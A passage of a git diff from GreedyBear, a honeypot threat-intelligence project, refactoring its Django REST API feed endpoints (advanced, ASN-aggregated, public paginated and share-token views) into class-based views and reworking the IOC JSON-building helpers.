iocs_queryset, feed_params, valid_feed_types, verbose=verbose, include_sensors=True) - - -@api_view(["GET"]) -@authentication_classes([CookieTokenAuthentication]) -@permission_classes([IsAuthenticated]) -@throttle_classes([FeedsAdvancedThrottle]) -def feeds_asn(request): - """ - Retrieve aggregated IOC feed data grouped by ASN (Autonomous System Number). - - Args: - request: The HTTP request object. - feed_type (str): Filter by feed type (e.g. 'cowrie', 'honeytrap'). Default: 'all'. - attack_type (str): Filter by attack type (e.g., 'scanner', 'payload_request'). Default: 'all'. - max_age (int): Maximum age of IOCs in days. Default: 3. - min_days_seen (int): Minimum days an IOC must have been observed. Default: 1. - exclude_reputation (str): ';'-separated reputations to exclude (e.g., 'mass scanner'). Default: none. - ordering (str): Aggregation ordering field (e.g., 'total_attack_count', 'asn'). Default: '-ioc_count'. - asn (str, optional): Filter results to a single ASN. - - Returns: - Response: HTTP response with a JSON list of ASN aggregation objects. - Each object contains: - asn (int): ASN number. - ioc_count (int): Number of IOCs for this ASN. - total_attack_count (int): Sum of attack_count for all IOCs. - total_interaction_count (int): Sum of interaction_count for all IOCs. - total_login_attempts (int): Sum of login_attempts for all IOCs. - honeypots (List[str]): Sorted list of unique honeypots that observed these IOCs. - expected_ioc_count (float): Sum of recurrence_probability for all IOCs, rounded to 4 decimals. - expected_interactions (float): Sum of expected_interactions for all IOCs, rounded to 4 decimals. - first_seen (DateTime): Earliest first_seen timestamp among IOCs. - last_seen (DateTime): Latest last_seen timestamp among IOCs. - """ - logger.info(f"request /api/feeds/asn/ with params: {request.query_params}") - feed_params = FeedRequestParams(request.query_params) - valid_feed_types = get_valid_feed_types() - - iocs_qs = get_queryset(request, feed_params, valid_feed_types, is_aggregated=True, serializer_class=ASNFeedsOrderingSerializer) - - asn_aggregates = asn_aggregated_queryset(iocs_qs, request, feed_params) - data = list(asn_aggregates) - return Response(data) +) +class SimpleFeedView(BaseFeedView): + """Public feed endpoint with path parameters: + /feeds///.""" + + serializer_class = SimpleFeedRequestSerializer + + def get_request_data(self, request: Request, **kwargs) -> dict: + return request.query_params.dict() | { + "feed_type": kwargs["feed_type"], + "attack_type": kwargs["attack_type"], + "prioritize": kwargs["prioritize"], + "format": kwargs["format_"], + } -@api_view([GET]) -@authentication_classes([CookieTokenAuthentication]) -@permission_classes([IsAuthenticated]) -def feeds_share(request): - """ - Generate a shareable link for the current feed configuration. - - Args: - request: The incoming request object. - feed_type (str): Type of feed to retrieve. - attack_type (str): Type of attack to filter. - max_age (int): Maximum number of days since last occurrence. - min_days_seen (int): Minimum number of days on which an IOC must have been seen. - include_reputation (str): `;`-separated list of reputation values to include. - exclude_reputation (str): `;`-separated list of reputation values to exclude. - ordering (str): Field to order results by. - verbose (bool): `true` to include IOC properties that contain a lot of data. - asn (int): Filter by ASN. - min_score (float): Filter by minimum recurrence_probability (0-1). - port (int): Filter by destination port. - start_date (str): Filter by start date (YYYY-MM-DD). - end_date (str): Filter by end date (YYYY-MM-DD). - reason (str): Optional human-readable label for this share token (max 256 chars). - - Returns: - Response: A JSON object containing the signed shareable URL. - """ - safe_params = {k: v for k, v in request.query_params.items() if k != "reason"} - logger.info(f"request /api/feeds/share with params: {safe_params}") - feed_params = FeedRequestParams(request.query_params) - data = vars(feed_params) - # Remove internal or non-serializable objects if any - data.pop("feed_type_sorting", None) - - reason = request.query_params.get("reason", "").strip()[:256] - - # Generate signed token and persist a ShareToken record - token = signing.dumps(data, salt="greedybear-feeds") - token_hash = hashlib.sha256(token.encode()).hexdigest() - ShareToken.objects.get_or_create( - token_hash=token_hash, - defaults={"user": request.user, "reason": reason}, +@extend_schema_view( + get=extend_schema( + tags=["Feeds"], + summary="Public paginated feed", + description="Public query-parameter feed, always paginated and always JSON.", + # Public endpoint: suppress the optional token scheme so it renders without a lock. + auth=[], + parameters=[SimpleFeedRequestSerializer, PAGE_PARAMETER], + responses={ + 200: PaginatedSimpleFeedSerializer, + 400: RESPONSES[400], + 429: RESPONSES[429], + }, ) +) +class PaginatedFeedView(BaseFeedView): + """Public paginated feed endpoint (query params only). Forces JSON output.""" + + serializer_class = SimpleFeedRequestSerializer + pagination_class = CustomPageNumberPagination + + def should_paginate(self, request_data: dict) -> bool: + """This endpoint always paginates.""" + return True + + def get_request_data(self, request: Request, **kwargs) -> dict: + """Pagination requires JSON response.""" + return request.query_params.dict() | {"format": "json"} + + +@extend_schema_view( + get=extend_schema( + tags=["Feeds"], + summary="Authenticated advanced feed", + description=("Authenticated feed with the full set of filtering, scoring and credential parameters and optional pagination."), + parameters=[AdvancedFeedRequestSerializer, PAGE_PARAMETER], + responses={ + 200: AdvancedFeedEnvelopeSerializer, + 400: RESPONSES[400], + 401: RESPONSES[401], + 429: RESPONSES[429], + }, + ) +) +class AdvancedFeedView(BaseFeedView): + """Authenticated advanced feed endpoint with full filtering and optional pagination.""" + + permission_classes = [IsAuthenticated] + throttle_classes = [FeedsAdvancedThrottle] + serializer_class = AdvancedFeedRequestSerializer + pagination_class = CustomPageNumberPagination + include_sensors = True + + def get_queryset(self) -> QuerySet: + """Overrides base class to include credential count + and sensor information.""" + iocs = super().get_queryset() + + iocs = iocs.annotate(credential_count=Count("credentials", distinct=True)) + + if self.request_params["format"] == "json": + iocs = iocs.annotate( + sensors_json=ArrayAgg( + JSONObject(address=F("sensors__address"), label=F("sensors__label")), + filter=Q(sensors__isnull=False), + default=Value([]), + distinct=True, + ) + ) + return iocs + + +@extend_schema_view( + get=extend_schema( + tags=["Feeds"], + summary="Authenticated feed aggregated by ASN", + description=( + "Authenticated feed that aggregates the filtered IOCs into per-ASN metric rows. " + "Accepts the same filters as the advanced feed, but `ordering` is restricted to the aggregate fields." + ), + parameters=[ASNFeedRequestSerializer], + responses={ + 200: ASNFeedSerializer(many=True), + 400: RESPONSES[400], + 401: RESPONSES[401], + 429: RESPONSES[429], + }, + ) +) +class AsnFeedView(BaseFeedView): + """Authenticated feed endpoint aggregated by ASN. - host = request.build_absolute_uri("/") - share_url = f"{host}api/feeds/consume/{token}" - revoke_url = f"{host}api/feeds/revoke/{token}" - return Response({"url": share_url, "revoke_url": revoke_url}) - - -@api_view([GET]) -@authentication_classes([]) -@permission_classes([]) -@throttle_classes([SharedFeedRateThrottle]) -def feeds_consume(request, token): + Reuses the shared base flow (validation, queryset building, statistics + recording) and only swaps the render step for the ASN aggregation. """ - Consume a shared feed using a signed token. - This endpoint is publicly accessible but strictly rate-limited. - Args: - request: The incoming request object. - token (str): The signed token containing feed configuration. + permission_classes = [IsAuthenticated] + throttle_classes = [FeedsAdvancedThrottle] + serializer_class = ASNFeedRequestSerializer + is_aggregated = True + + def render_response(self, request: Request, iocs_queryset: QuerySet) -> Response: + rows = aggregate_iocs_by_asn(iocs_queryset, self.request_params["ordering"]) + return Response(ASNFeedSerializer(rows, many=True).data) + + +@extend_schema_view( + get=extend_schema( + tags=["Feed Sharing"], + summary="Consume a shared feed token", + description=( + "Public, rate-limited endpoint that replays the advanced-feed request encoded in a signed " + "share token (`token` path param), so no query string is needed." + ), + responses={ + 200: AdvancedFeedEnvelopeSerializer, + 400: OpenApiResponse(description="Token is missing/revoked/badly signed, or its decoded feed parameters are invalid."), + 429: RESPONSES[429], + }, + ) +) +class ConsumeFeedView(AdvancedFeedView): + """Public, rate-limited endpoint that consumes a signed share token. - Returns: - Response: The HTTP response with formatted IOC data in JSON/CSV/TXT/STIX2.1. + Inherits AdvancedFeedView's queryset shaping (credential counts, sensors, + pagination) so a consumed token produces the same response as the advanced + feed. Only access control and the input source differ: it is public and + decodes the request from the token instead of the query string. """ - logger.info("request /api/feeds/consume with token") - token_hash = hashlib.sha256(token.encode()).hexdigest() - try: - share_token = ShareToken.objects.get(token_hash=token_hash) - except ShareToken.DoesNotExist: - return Response( - {"error": "Invalid or expired token"}, - status=status.HTTP_400_BAD_REQUEST, - ) - if share_token.revoked: - return Response( - {"error": "Token has been revoked"}, - status=status.HTTP_400_BAD_REQUEST, - ) - try: - data = signing.loads(token, salt="greedybear-feeds", max_age=86400 * 30) # 30 days validity - except signing.BadSignature: - return Response({"error": "Invalid or expired token"}, status=status.HTTP_400_BAD_REQUEST) + authentication_classes = [] + permission_classes = [AllowAny] + throttle_classes = [SharedFeedRateThrottle] - # Reconstruct params - feed_params = FeedRequestParams(data) + def get_request_data(self, request: Request, **kwargs) -> dict: + serializer = TokenConsumeRequestSerializer(data={"token": kwargs["token"]}) + serializer.is_valid(raise_exception=True) + return serializer.validated_data["feed_params"] - valid_feed_types = get_valid_feed_types() - iocs_queryset = get_queryset(request, feed_params, valid_feed_types) - return feeds_response(request, iocs_queryset, feed_params, valid_feed_types) +@extend_schema(tags=["Feed Sharing"]) +class ShareTokenViewSet(RequestLoggingMixin, ViewSet): + """Create, list and revoke shareable feed tokens. -@api_view([GET]) -@authentication_classes([CookieTokenAuthentication]) -@permission_classes([IsAuthenticated]) -def feeds_revoke(request, token): + Share/revoke are intentionally GET-able so the links can be opened directly + in a browser. Share stores the raw query params in the signed token so + FeedsConsumeView can replay them through AdvancedFeedRequestSerializer. """ - Revoke a previously generated shareable feed token. - - Once revoked, any attempt to consume the feed via that token will return a 400 error. - This is intentionally a GET endpoint so the revoke link can be opened directly in a browser. - Only the user who created the token (or staff) can revoke it. - Args: - request: The incoming request object. - token (str): The raw signed token to revoke. - - Returns: - Response: 200 on successful revocation, 400/403 if invalid, expired, or not authorized. - """ - logger.info("request /api/feeds/revoke") - try: - signing.loads(token, salt="greedybear-feeds", max_age=86400 * 30) - except signing.BadSignature: - return Response({"error": "Invalid or expired token"}, status=status.HTTP_400_BAD_REQUEST) - - token_hash = hashlib.sha256(token.encode()).hexdigest() - try: - share_token = ShareToken.objects.get(token_hash=token_hash) - except ShareToken.DoesNotExist: - return Response({"error": "Token not found. Only the creator can revoke a token."}, status=status.HTTP_403_FORBIDDEN) - - if share_token.user != request.user and not request.user.is_staff: - return Response({"error": "You do not have permission to revoke this token."}, status=status.HTTP_403_FORBIDDEN) - - if share_token.revoked: - return Response({"detail": "Token was already revoked."}, status=status.HTTP_200_OK) - share_token.revoked = True - share_token.revoked_at = timezone.now() - share_token.save(update_fields=["revoked", "revoked_at"]) - return Response({"detail": "Token revoked successfully."}, status=status.HTTP_200_OK) - - -@api_view([GET]) -@authentication_classes([CookieTokenAuthentication]) -@permission_classes([IsAuthenticated]) -def feeds_tokens(request): - """ - List the calling user's share tokens with safe metadata. - - Returns only non-sensitive fields: a truncated hash prefix (first 12 hex - chars), the reason label, creation timestamp, and revocation status. - The raw token is never stored and therefore cannot be returned. - - Returns: - Response: A JSON list of token metadata objects. - """ - logger.info("request /api/feeds/tokens/") - tokens = ShareToken.objects.filter(user=request.user).order_by("-created_at").values(*_TOKEN_LIST_FIELDS) - results = [ - { - "hash_prefix": t["token_hash"][:12], - "reason": t["reason"], - "created_at": t["created_at"], - "revoked": t["revoked"], - "revoked_at": t["revoked_at"], - } - for t in tokens - ] - return Response(results) + permission_classes = [IsAuthenticated] + throttle_classes = [FeedsAdvancedThrottle] + + @extend_schema( + summary="Create a shareable feed link", + description=( + "Encode the supplied advanced-feed query parameters into a signed share token and " + "return its public consume/revoke URLs. The optional `reason` is stored for auditing only." + ), + parameters=[ShareFeedRequestSerializer], + responses={ + 200: ShareTokenResponseSerializer, + 400: RESPONSES[400], + 401: RESPONSES[401], + 429: RESPONSES[429], + }, + ) + def share(self, request: Request) -> Response: + request_serializer = ShareFeedRequestSerializer(data=request.query_params) + request_serializer.is_valid(raise_exception=True) + reason = request_serializer.validated_data["reason"] + + # The raw params (not the typed validated_data) are signed, + # so the token format and consume-time replay stay unchanged. + data = request.query_params.dict() + data.pop("reason", None) + token = signing.dumps(data, salt=SHARE_TOKEN_SALT) + token_hash = hashlib.sha256(token.encode()).hexdigest() + ShareToken.objects.get_or_create( + token_hash=token_hash, + defaults={"user": request.user, "reason": reason}, + ) + host = request.build_absolute_uri("/") + response_serializer = ShareTokenResponseSerializer( + { + "url": f"{host}api/feeds/consume/{token}", + "revoke_url": f"{host}api/feeds/revoke/{token}", + } + ) + return Response(response_serializer.data) + + @extend_schema( + summary="Revoke a shared feed token", + description="Revoke a previously shared token (`token` path param). Only the creator or a staff user may revoke it.", + responses={ + 200: OpenApiResponse(description="Confirmation that the token was revoked."), + 400: OpenApiResponse(description="Token is missing or has an invalid signature."), + 401: RESPONSES[401], + 403: OpenApiResponse(description="The caller is not the token's creator."), + 429: RESPONSES[429], + }, + ) + def revoke(self, request: Request, token: str) -> Response: + serializer = TokenRequestSerializer(data={"token": token}) + serializer.is_valid(raise_exception=True) + share_token = serializer.validated_data["share_token"] + if share_token.user != request.user and not request.user.is_staff: + return Response( + {"errors": {"non_field_errors": ["You do not have permission to revoke this token."]}}, + status=status.HTTP_403_FORBIDDEN, + ) + if share_token.revoked: + return Response({"detail": "Token was already revoked."}, status=status.HTTP_200_OK) + share_token.revoked = True + share_token.revoked_at = timezone.now() + share_token.save(update_fields=["revoked", "revoked_at"]) + return Response({"detail": "Token revoked successfully."}, status=status.HTTP_200_OK) + + @extend_schema( + summary="List the caller's share tokens", + description="Return the share tokens created by the authenticated user, most recent first.", + responses={ + 200: ShareTokenListItemSerializer(many=True), + 401: RESPONSES[401], + 429: RESPONSES[429], + }, + ) + def list_tokens(self, request: Request) -> Response: + tokens = ShareToken.objects.filter(user=request.user).order_by("-created_at").values() + return Response(ShareTokenListItemSerializer(tokens, many=True).data) diff --git a/api/views/utils.py b/api/views/utils.py index 9612c0845..2146fd34b 100644 --- a/api/views/utils.py +++ b/api/views/utils.py @@ -1,29 +1,22 @@ # This file is a part of GreedyBear https://github.com/honeynet/GreedyBear # See the file 'LICENSE' for copying permission. -import csv -import hashlib import logging -import urllib.parse import uuid -from datetime import datetime, timedelta +from datetime import timedelta import feedparser import requests from django.conf import settings from django.contrib.postgres.aggregates import ArrayAgg -from django.core.cache import cache, caches +from django.core.cache import cache from django.db import transaction -from django.db.models import Count, F, Max, Min, Q, Sum, Value -from django.db.models.functions import JSONObject -from django.http import HttpResponse, HttpResponseBadRequest, StreamingHttpResponse +from django.db.models import Count, F, Max, Min, Sum from rest_framework import status from rest_framework.response import Response from stix2 import Bundle, ExternalReference, Indicator -from api.serializers import FeedsRequestSerializer, parse_feed_types from greedybear.consts import APISOURCE_LOCKED_THRESHOLD, CACHE_KEY_GREEDYBEAR_NEWS, CACHE_TIMEOUT_SECONDS, RSS_FEED_URL -from greedybear.enums import IpReputation -from greedybear.models import IOC, APISource, AutonomousSystem, EventStatus, EventStatusType, Honeypot, RawEvent, Sensor, SourceType, Statistics +from greedybear.models import APISource, AutonomousSystem, EventStatus, EventStatusType, RawEvent, Sensor, SourceType, Statistics from greedybear.utils import is_ip_address, is_valid_domain logger = logging.getLogger(__name__) @@ -33,24 +26,6 @@ class UnableToExtractSourceIPError(Exception): """Raised when no valid source IP can be extracted from the request.""" -class Echo: - """An object that implements just the write method of the file-like - interface. - This class is used to stream data in CSV format. - """ - - def write(self, value): - """Write the value by returning it, instead of storing in a buffer. - - Args: - value (str): The value to be written. - - Returns: - str: The same value that was passed. - """ - return value - - def get_request_source_ip(request) -> str: """Extract a normalized client IP from request metadata (X-Forwarded-For header) @@ -70,258 +45,13 @@ def get_request_source_ip(request) -> str: raise UnableToExtractSourceIPError("No valid source IP found in request metadata") -class FeedRequestParams: - """A class to handle and validate feed request parameters. - It processes and stores query parameters for feed requests, - providing default values. - - Attributes: - feed_type (str): comma-separated feed type string as supplied by the - caller (default: "all"). - feed_types (list[str]): List of individual feed type values derived from - ``feed_type`` by splitting on commas. - attack_type (str): Type of attack to filter (default: "all") - ioc_type (str): Type of IOC to filter - 'ip', 'domain', or 'all' (default: "all") - max_age (str): Maximum number of days since last occurrence (default: "3") - min_days_seen (str): Minimum number of days on which an IOC must have been seen (default: "1") - include_reputation (list): List of reputation values to include (default: []) - exclude_reputation (list): List of reputation values to exclude (default: []) - feed_size (int): Number of items to return in feed (default: "5000") - ordering (str): Field to order results by (default: "-last_seen") - verbose (str): Whether to include IOC properties that contain a lot of data (default: "false") - paginate (str): Whether to paginate results (default: "false") - format_ (str): Response format type (default: "json") - """ - - def __init__(self, query_params: dict): - """Initialize a new FeedRequestParams instance. - - Parameters: - query_params (dict): Dictionary containing query parameters for feed configuration. - """ - feed_type_str = query_params.get("feed_type", "all").lower() - self.feed_type = feed_type_str - self.feed_types = parse_feed_types(feed_type_str) - self.attack_type = query_params.get("attack_type", "all").lower() - self.ioc_type = query_params.get("ioc_type", "all").lower() - self.max_age = query_params.get("max_age", "3") - self.min_days_seen = query_params.get("min_days_seen", "1") - # Handle reputation lists (could be list from JSON or string from QueryDict) - inc_rep = query_params.get("include_reputation", []) - if isinstance(inc_rep, list): - self.include_reputation = inc_rep - else: - self.include_reputation = inc_rep.split(";") if inc_rep else [] - - exc_rep = query_params.get("exclude_reputation", []) - if isinstance(exc_rep, list): - self.exclude_reputation = exc_rep - else: - self.exclude_reputation = exc_rep.split(";") if exc_rep else [] - - self.feed_size = query_params.get("feed_size", "5000") - self.ordering = query_params.get("ordering", "-last_seen").lower().replace("value", "name") - self.verbose = query_params.get("verbose", "false").lower() - self.paginate = query_params.get("paginate", "false").lower() - # Support both format_ and format - self.format = query_params.get("format_", query_params.get("format", "json")).lower() - self.feed_type_sorting = None - self.asn = query_params.get("asn") - self.min_score = query_params.get("min_score") - self.min_expected_interactions = query_params.get("min_expected_interactions") - self.port = query_params.get("port") - self.start_date = query_params.get("start_date") - self.end_date = query_params.get("end_date") - self.country_code = query_params.get("country_code") - self.min_credential_count = query_params.get("min_credential_count") - self.max_credential_count = query_params.get("max_credential_count") - - def apply_default_filters(self, query_params): - if not query_params: - query_params = {} - if "include_mass_scanners" not in query_params: - self.exclude_reputation.append(IpReputation.MASS_SCANNER) - if "include_tor_exit_nodes" not in query_params: - self.exclude_reputation.append(IpReputation.TOR_EXIT_NODE) - - def set_prioritization(self, prioritize: str): - match prioritize: - case "recent": - self.max_age = "3" - self.min_days_seen = "1" - if "feed_type" in self.ordering: - self.feed_type_sorting = self.ordering - self.ordering = "-last_seen" - case "persistent": - self.max_age = "14" - self.min_days_seen = "10" - if "feed_type" in self.ordering: - self.feed_type_sorting = self.ordering - self.ordering = "-attack_count" - case "likely_to_recur": - self.max_age = "30" - self.min_days_seen = "1" - self.ordering = "-recurrence_probability" - case "most_expected_hits": - self.max_age = "30" - self.min_days_seen = "1" - self.ordering = "-expected_interactions" - - -def get_valid_feed_types() -> frozenset[str]: - """ - Retrieve all valid feed types, combining predefined types with active general honeypot names. - - Returns: - frozenset[str]: An immutable set of valid feed type strings - """ - honeypots = Honeypot.objects.filter(active=True) - feed_types = ["all"] + [hp.name.lower() for hp in honeypots] - return frozenset(feed_types) - - -def get_queryset( - request, - feed_params, - valid_feed_types, - is_aggregated=False, - serializer_class=FeedsRequestSerializer, - tag_key="", - tag_value="", - include_sensors=False, - include_credential_count=False, -): - """ - Build a queryset to filter IOC data based on the request parameters. - - Args: - request: The incoming request object. - feed_params: A FeedRequestParams instance. - valid_feed_types (frozenset): The set of all valid feed types. - is_aggregated (bool, optional): - - If True, disables slicing (`feed_size`) and model-level ordering. - - Ensures full dataset is available for aggregation or specialized computation. - - Default: False. - serializer_class (class, optional): - - Serializer class used to validate request parameters. - - Allows injecting a custom serializer to enforce rules for specific feed types - (e.g., to restrict ordering fields or validation for specialized feeds). - - Default: `FeedsRequestSerializer`. - tag_key (str, optional): Filter IOCs by tag key. Only passed from feeds_advanced. - tag_value (str, optional): Filter IOCs by tag value (case-insensitive substring). Only passed from feeds_advanced. - include_sensors (bool, optional): If True, annotates sensors_json for each IOC. - Only passed from authenticated views like feeds_advanced. Default: False. - include_credential_count (bool, optional): If True, annotates credential Count for each IOC. - Only passed from authenticated views like feeds_advanced. Default: False. - Returns: - QuerySet: The filtered queryset of IOC data. - """ - source = str(request.user) - logger.info( - f"request from {source}. Feed type: {feed_params.feed_type}, attack_type: {feed_params.attack_type}, " - f"Age: {feed_params.max_age}, format: {feed_params.format}" - ) - - feed_params_data = {k: v for k, v in vars(feed_params).items() if v is not None} - serializer = serializer_class( - data=feed_params_data, - context={"valid_feed_types": valid_feed_types}, - ) - serializer.is_valid(raise_exception=True) - - query_dict = {} - if feed_params.attack_type != "all": - query_dict[feed_params.attack_type] = True - - if feed_params.ioc_type != "all": - query_dict["type"] = feed_params.ioc_type - - # Advanced filters - if feed_params.asn: - query_dict["autonomous_system__asn"] = feed_params.asn - if feed_params.min_score is not None: - query_dict["recurrence_probability__gte"] = feed_params.min_score - if feed_params.min_expected_interactions is not None: - query_dict["expected_interactions__gte"] = feed_params.min_expected_interactions - if feed_params.port: - query_dict["destination_ports__contains"] = [int(feed_params.port)] - if feed_params.country_code: - query_dict["attacker_country_code"] = feed_params.country_code.upper() - - # Date handling - if feed_params.start_date: - query_dict["last_seen__gte"] = feed_params.start_date - if feed_params.end_date: - query_dict["last_seen__lte"] = feed_params.end_date - - # Fallback to max_age ONLY if no date range is specified - if not (feed_params.start_date or feed_params.end_date): - query_dict["last_seen__gte"] = datetime.now() - timedelta(days=int(feed_params.max_age)) - - if int(feed_params.min_days_seen) > 1: - query_dict["number_of_days_seen__gte"] = int(feed_params.min_days_seen) - if feed_params.include_reputation: - query_dict["ip_reputation__in"] = feed_params.include_reputation - - if tag_key: - query_dict["tags__key"] = tag_key[:128] # Truncate to Tag.key max_length - if tag_value: - query_dict["tags__value__icontains"] = tag_value[:256] # Truncate to Tag.value max_length - - iocs = IOC.objects.filter(**query_dict).exclude(ip_reputation__in=feed_params.exclude_reputation).annotate(value=F("name")).distinct() - - # credential count filtering is only available on the advanced feed - if include_credential_count: - iocs = iocs.annotate(credential_count=Count("credentials", distinct=True)) - min_credential_count = serializer.validated_data.get("min_credential_count") - max_credential_count = serializer.validated_data.get("max_credential_count") - if min_credential_count is not None: - iocs = iocs.filter(credential_count__gte=min_credential_count) - if max_credential_count is not None: - iocs = iocs.filter(credential_count__lte=max_credential_count) - - # apply feed type filter as union; - if "all" not in feed_params.feed_types: - type_filter = Q() - for ft in feed_params.feed_types: - type_filter |= Q(honeypots__name__iexact=ft) - iocs = iocs.filter(type_filter) - - # aggregated feeds calculate metrics differently and need all rows to be accurate. - if not is_aggregated: - iocs = iocs.filter(honeypots__active=True) - iocs = iocs.annotate(honeypot_names=ArrayAgg("honeypots__name", distinct=True)) - # Only annotate tags metadata when the response format needs it (e.g. JSON), - # to avoid unnecessary joins and aggregation work for txt/csv feeds. - if getattr(feed_params, "format", "").lower() == "json": - iocs = iocs.annotate( - tags_json=ArrayAgg( - JSONObject(key=F("tags__key"), value=F("tags__value"), source=F("tags__source")), - filter=Q(tags__isnull=False), - default=Value([]), - distinct=True, - ) - ) - if include_sensors: - iocs = iocs.annotate( - sensors_json=ArrayAgg( - JSONObject(address=F("sensors__address"), label=F("sensors__label")), - filter=Q(sensors__isnull=False), - default=Value([]), - distinct=True, - ) - ) - iocs = iocs.order_by(feed_params.ordering) - iocs = iocs[: int(feed_params.feed_size)] - - # save request source for statistics +def save_request_source(request): try: source_ip = get_request_source_ip(request) request_source = Statistics(source=source_ip) request_source.save() except UnableToExtractSourceIPError: logger.warning("Skipping statistics recording due to unable to extract source IP") - return iocs def ioc_as_dict(ioc, fields: set) -> dict: @@ -338,233 +68,198 @@ def ioc_as_dict(ioc, fields: set) -> dict: return {k: v for k, v in ioc.__dict__.items() if k in fields} -def feeds_response(request=None, iocs=None, feed_params=None, valid_feed_types=None, dict_only=False, verbose=False, include_sensors=False): - """ - Format the IOC data into the requested format (e.g., JSON, CSV, TXT). +# JSON output fields. `honeypot_names` and `destination_ports` are fetched to derive +# `feed_type` / `destination_port_count` and then dropped from each row. +JSON_BASE_FIELDS = ( + "value", + "first_seen", + "last_seen", + "attack_count", + "credential_count", + "interaction_count", + "scanner", + "payload_request", + "ip_reputation", + "login_attempts", + "recurrence_probability", + "expected_interactions", + "honeypot_names", + "destination_ports", + "attacker_country", + "attacker_country_code", + "autonomous_system", + "tags", +) +JSON_VERBOSE_FIELDS = ( + "days_seen", + "firehol_categories", +) +STIX_FIELDS = { + "value", + "type", + "first_seen", + "last_seen", + "recurrence_probability", + "honeypot_names", + "ip_reputation", +} + + +def build_ioc_json_list(iocs, verbose=False, include_sensors=False) -> list[dict]: + """Shape a queryset (or list) of IOCs into the JSON feed row dicts. + + Pure data logic shared by the JSON renderer and the ML scoring path; it + builds the per-row dicts but performs no HTTP/encoding work. Args: - iocs (QuerySet): The filtered queryset of IOC data. - feed_params (FeedRequestParams): Request parameters including format. - valid_feed_types (frozenset): The set of all valid feed types. - dict_only (bool): Return IOC dictionary instead of Response object. - verbose (bool): Include verbose fields (days_seen, destination_ports, honeypots, firehol_categories). + iocs (QuerySet | list): Filtered IOCs to render. + verbose (bool): Include verbose fields (days_seen, destination_ports, firehol_categories). + include_sensors (bool): Emit a `sensors` array when the `sensors_json` annotation is present. - Returns: - Response: The HTTP response containing formatted IOC data. + Returns: A list of JSON-serializable IOC dicts. """ - logger.info(f"Format feeds in: {feed_params.format}") - match feed_params.format: - case "txt": - text_lines = [f"# {settings.FEEDS_LICENSE}"] if settings.FEEDS_LICENSE else [] - text_lines += [ioc[0] for ioc in iocs.values_list("name")] - return HttpResponse("\n".join(text_lines), content_type="text/plain") - case "csv": - rows = [[f"# {settings.FEEDS_LICENSE}"]] if settings.FEEDS_LICENSE else [] - rows += [list(ioc) for ioc in iocs.values_list("name")] - pseudo_buffer = Echo() - writer = csv.writer(pseudo_buffer, quoting=csv.QUOTE_NONE) - return StreamingHttpResponse( - (writer.writerow(row) for row in rows), - content_type="text/csv", - headers={"Content-Disposition": 'attachment; filename="feeds.csv"'}, - status=200, - ) - case "json": - json_list = [] - - # Base fields always returned - base_fields = ( - "value", - "first_seen", - "last_seen", - "attack_count", - "credential_count", - "interaction_count", - "scanner", - "payload_request", - "ip_reputation", - "login_attempts", - "recurrence_probability", - "expected_interactions", - "honeypot_names", # used to build feed_type; removed from response - "destination_ports", # used to calculate destination_port_count - "attacker_country", - "attacker_country_code", - "autonomous_system", - "tags", - ) - - verbose_only_fields = ( - "days_seen", - "firehol_categories", - ) - - required_fields = base_fields + verbose_only_fields if verbose else base_fields - - # `tags_json` is annotated in get_queryset (only for JSON format) to avoid conflicting - # with the `tags` reverse FK on IOC. When the queryset comes from a repository method - # that does not annotate `tags_json` (e.g. the ML scoring path), exclude the field. - # `sensors_json` follows the same pattern and is only annotated for authenticated views. - if isinstance(iocs, list): - has_tags_annotation = bool(iocs) and hasattr(iocs[0], "tags_json") - has_sensors_annotation = include_sensors and bool(iocs) and hasattr(iocs[0], "sensors_json") - has_credential_count = bool(iocs) and hasattr(iocs[0], "credential_count") - else: - has_tags_annotation = "tags_json" in getattr(iocs, "query", type("", (), {"annotations": {}})()).annotations - has_sensors_annotation = include_sensors and "sensors_json" in getattr(iocs, "query", type("", (), {"annotations": {}})()).annotations - has_credential_count = "credential_count" in getattr(iocs, "query", type("", (), {"annotations": {}})()).annotations - required_fields = tuple(("tags_json" if f == "tags" else f) for f in required_fields if f != "tags" or has_tags_annotation) - required_fields = tuple(f for f in required_fields if f != "credential_count" or has_credential_count) - if has_sensors_annotation: - required_fields = (*required_fields, "sensors_json") - - iocs_iter: object - if isinstance(iocs, list): - iocs_iter = (ioc_as_dict(ioc, set(required_fields)) for ioc in iocs) - else: - iocs_iter = iocs.values(*required_fields).iterator(chunk_size=2000) - for ioc in iocs_iter: - ioc_feed_type = [hp.lower() for hp in ioc.get("honeypot_names", []) if hp] - - data_ = ioc | { - "first_seen": ioc["first_seen"].strftime("%Y-%m-%d"), - "last_seen": ioc["last_seen"].strftime("%Y-%m-%d"), - "feed_type": ioc_feed_type, - "destination_port_count": len(ioc.get("destination_ports", [])), - "asn": ioc.get("autonomous_system", ""), - "tags": ioc.pop("tags_json", []), - **({"sensors": ioc.pop("sensors_json", [])} if has_sensors_annotation else {}), - } - - if not verbose: - data_.pop("destination_ports", None) - data_.pop("autonomous_system", None) - data_.pop("honeypot_names", None) - data_.pop("id", None) - - json_list.append(data_) - - if feed_params.feed_type_sorting is not None: - logger.info("Return feeds sorted by feed_type field") - json_list = sorted( - json_list, - key=lambda k: k["feed_type"], - reverse=feed_params.feed_type_sorting == "-feed_type", + required_fields = JSON_BASE_FIELDS + JSON_VERBOSE_FIELDS if verbose else JSON_BASE_FIELDS + + # `tags_json` is annotated in get_queryset (only for JSON format) to avoid conflicting + # with the `tags` reverse FK on IOC. When the queryset comes from a repository method + # that does not annotate `tags_json` (e.g. the ML scoring path), exclude the field. + # `sensors_json` follows the same pattern and is only annotated for authenticated views. + if isinstance(iocs, list): + has_tags_annotation = bool(iocs) and hasattr(iocs[0], "tags_json") + has_sensors_annotation = include_sensors and bool(iocs) and hasattr(iocs[0], "sensors_json") + has_credential_count = bool(iocs) and hasattr(iocs[0], "credential_count") + else: + annotations = getattr(getattr(iocs, "query", None), "annotations", {}) + has_tags_annotation = "tags_json" in annotations + has_sensors_annotation = include_sensors and "sensors_json" in annotations + has_credential_count = "credential_count" in annotations + required_fields = tuple(("tags_json" if f == "tags" else f) for f in required_fields if f != "tags" or has_tags_annotation) + required_fields = tuple(f for f in required_fields if f != "credential_count" or has_credential_count) + if has_sensors_annotation: + required_fields = (*required_fields, "sensors_json") + + if isinstance(iocs, list): + iocs_iter = (ioc_as_dict(ioc, set(required_fields)) for ioc in iocs) + else: + iocs_iter = iocs.values(*required_fields).iterator(chunk_size=2000) + + json_list = [] + for ioc in iocs_iter: + ioc_feed_type = [hp.lower() for hp in ioc.get("honeypot_names", []) if hp] + + data_ = ioc | { + "first_seen": ioc["first_seen"].strftime("%Y-%m-%d"), + "last_seen": 